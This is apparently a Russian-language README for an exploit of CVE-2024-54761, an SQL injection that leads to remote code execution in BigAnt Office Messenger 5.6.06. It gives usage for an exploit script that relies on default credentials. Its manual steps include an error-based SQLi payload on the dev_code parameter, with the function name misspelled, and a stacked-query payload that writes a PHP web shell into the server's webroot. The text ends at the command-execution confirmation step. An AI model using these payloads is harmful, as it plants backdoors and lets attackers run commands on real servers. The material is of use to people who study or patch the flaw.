BigAnt Office Messenger 5.6.06 RCE через SQL-инъекцию

Уязвимость SQL-инъекции в BigAnt Messenger приводит к уязвимости RCE. Следуйте шагам для эксплуатации.

Usage:

CVE-2024-54761.py [-h] -r RHOST [-p RPORT] [-u USERNAME] [-P PASSWORD]
options:
  -h, --help            показать это справочное сообщение и выйти
  -r, --rhost RHOST     IP-адрес цели
  -p, --rport RPORT     Порт цели (по умолчанию 8000)
  -u, --username USERNAME
                        Имя пользователя для входа (по умолчанию admin)
  -P, --password PASSWORD
                        Пароль для входа (по умолчанию 123456)

Запустите эксплойт с учётными данными по умолчанию.

python CVE-2024-54761.py -r 127.0.0.1

Ручная эксплуатация

Извлеките версию базы данных с помощью параметра dev_code, подверженного SQLi.

# Payload
?dev_code=AND EXTARCTVALUE(rand(),concat(CHAR(126),version(),CHAR(126)))--

Версия SQLI Загрузите PHP-веб-шелл на цель с помощью стековых запросов SQL.

# Payload
?dev_code=;SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE 'C:/Program Files (x86)/BigAntSoft/IM Console/im_webserver/htdocs/shell.php'-- -

создание веб-шелла 1 Подтверждение выполнения команды: